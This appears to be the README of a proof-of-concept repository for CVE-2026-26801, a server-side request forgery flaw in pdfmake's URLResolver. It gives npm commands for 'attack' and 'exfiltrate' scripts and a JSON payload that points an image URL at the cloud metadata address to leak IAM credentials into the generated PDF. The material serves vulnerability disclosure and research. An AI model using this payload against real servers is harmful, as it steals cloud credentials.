mariopepe/cve-2026-26801-pdfmake-ssrfPoC for CVE-2026-26801: SSRF in pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)
| Field | Value |
|---|
| Package | pdfmake |
| Version | >= 0.3.0-beta.2, <= 0.3.5 |
| Fixed | 0.3.6 |
| CVE | CVE-2026-26801 |
| Type | Server-Side Request Forgery (SSRF) |
| Location | src/URLResolver.js |
| Severity | HIGH |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
When docDefinition contains URLs in images, attachments, or files, pdfmake fetches them without any validation:
npm install
npm run metadata
npm run server
Blind SSRF (proves the server makes outbound requests):
npm run attack
Full read SSRF (credentials embedded in the generated PDF):
npm run exfiltrate
npm run attack)Metadata Server Output:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
This proves the vulnerable server made an outbound request to our controlled endpoint.
npm run exfiltrate)The attack script generates exfiltrated.pdf. Open it in any PDF viewer and the AWS credentials JSON is embedded as a file attachment (metadata.json). This proves full data exfiltration, not just blind SSRF. The attacker gets the actual response body back inside the PDF.
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
Full technical writeup with the story of how this was found, the attack chain, and the disclosure timeline: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf